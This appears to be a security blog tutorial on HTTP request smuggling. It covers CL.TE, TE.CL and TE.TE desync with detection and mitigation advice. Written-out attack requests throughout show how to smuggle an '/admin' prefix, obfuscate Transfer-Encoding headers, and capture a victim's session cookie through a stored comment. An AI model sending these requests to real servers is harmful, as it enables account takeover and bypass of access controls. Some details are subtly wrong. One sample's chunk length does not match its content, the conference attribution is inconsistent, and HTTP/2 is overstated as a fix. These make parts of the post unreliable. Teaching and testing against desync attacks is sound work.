HTTP Request Smuggling: Exploiting Front-End/Back-End Parsing Desync | Tağmaç - root@Tagoletta:~#

HTTP Request Smuggling: Exploiting Front-End/Back-End Parsing Desync

Thu May 28 2026

Category: Security Research


Introduction: A Hidden Disagreement in HTTP/1.1

Nearly every modern web architecture is layered: a front-end CDN or reverse proxy (Nginx, HAProxy, Cloudflare) sitting in front of a back-end application server (Apache, Node.js, Gunicorn). Both share a single TCP connection and pipe HTTP requests between them via HTTP keep-alive.

A critical question sits between these layers: "Where does this request body end?"

HTTP/1.1 answers this with two different headers:

  • Content-Length (CL): "The body is exactly N bytes long."
  • Transfer-Encoding: chunked (TE): "The body comes in chunks; a zero-length chunk signals the end."

When both headers appear in one request, RFC 7230 says Transfer-Encoding takes priority. But not all servers honor this. That disagreement is the attack surface.

CL.TE Attack

The most common desync variant: front-end uses CL, back-end uses TE.

Front-end (CDN/Proxy):  parses by Content-Length
Back-end (App Server):  parses by Transfer-Encoding: chunked

Attack request:

POST / HTTP/1.1
Host: target.com
Content-Length: 49
Transfer-Encoding: chunked

e
q=smuggling-test
0

GET /admin HTTP/1.1
X-Ignore: x

Front-end view:

Content-Length = 49 → reads all 49 bytes → forwards to back-end. Security check? Path is "/" → passes.

Back-end view:

Uses Transfer-Encoding: chunked:

  • e (hex 14) → reads 14 bytes: q=smuggling-test\r\n
  • 0 → end of chunked body — request complete
  • Remaining: GET /admin HTTP/1.1\r\nX-Ignore: xstays in TCP buffer

When the next user's request arrives, the back-end sees:

GET /admin HTTP/1.1
X-Ignore: xGET /profile HTTP/1.1
Host: target.com
Cookie: session=victim_token_here

The victim's request is processed glued to the attacker's /admin prefix.

TE.CL Attack

The reverse direction: front-end uses TE, back-end uses CL.

POST / HTTP/1.1
Host: target.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0

Front-end: Parses chunked → reads the "8"-byte chunk → reaches "0" (end) → forwards entire message to back-end.

Back-end: Uses Content-Length = 3 → reads only 3 bytes of the body (8\r\n) → the rest sits in the buffer: SMUGGLED\r\n0\r\n\r\n

This leftover data is prepended to the next arriving request.

TE.TE Attack: Obfuscation

If both servers support Transfer-Encoding, obfuscating the header can cause one to ignore it and fall back to CL:

Transfer-Encoding: xchunked
Transfer-Encoding: chunked
Transfer-Encoding: chunked, chunked
Transfer-Encoding:chunked
Transfer-Encoding: x

A non-RFC-compliant server ignores these and falls back to CL. The other server recognizes chunked and uses TE. Result: desync.

Attack Chain: Account Takeover

Step-by-step to steal a victim's session token:

1. Send the trap request:

POST / HTTP/1.1
Host: target.com
Content-Length: 130
Transfer-Encoding: chunked

0

POST /comment HTTP/1.1
Host: target.com
Content-Length: 200

comment=

2. Victim's request is appended to the smuggled comment body:

The back-end treats the victim's Cookie: session=... header as a continuation of the comment= value. The comment is saved to the database.

3. Read the comment:

GET /comments HTTP/1.1

The victim's full HTTP headers (including Cookie) appear inside the comment content.

Detection with Burp Suite

1. Manual CL.TE timing probe:

import requests, time

# Baseline
t0 = time.time()
requests.post("http://target.com/", timeout=10)
baseline = time.time() - t0

# Probe with invalid final chunk — back-end waits for more data
# If response is delayed >8s, CL.TE desync likely exists

2. Burp Suite → HTTP Request Smuggler extension: Automatically tests CL.TE, TE.CL, TE.TE variants by measuring response time deltas.

Impact Summary

Attack Result
Request prefix injection Steal victim Cookie/headers
/admin path bypass Bypass firewall/ACL rules
Cache poisoning Cache malicious response
Web cache deception Cache user-specific pages
Reflected XSS amplification Deliver XSS via smuggled response

Mitigation

1. Strip the Transfer-Encoding header at the edge (if your CDN already handles chunked):

proxy_http_version 1.1;
proxy_set_header Connection "";
proxy_set_header Transfer-Encoding "";

2. Upgrade to HTTP/2: HTTP/2 uses binary framing — this form of request smuggling is not possible.

3. Reject conflicting headers: If a request contains both CL and TE headers, return 400 Bad Request before forwarding.

4. Normalize at each layer: Don't silently pass requests with ambiguous framing headers.

Conclusion

HTTP Request Smuggling exploits the trust that forms when two well-configured servers communicate with each other. An attacker with no direct access to the application can steal other users' sessions simply by sending one ambiguous request.

James Kettle's research, first presented at DEF CON 26, continues to find active vulnerabilities in major CDN providers and reverse proxies to this day.


Researcher: James Kettle / PortSwigger Research
First presented: DEF CON 26, Black Hat USA 2019
Reference: https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn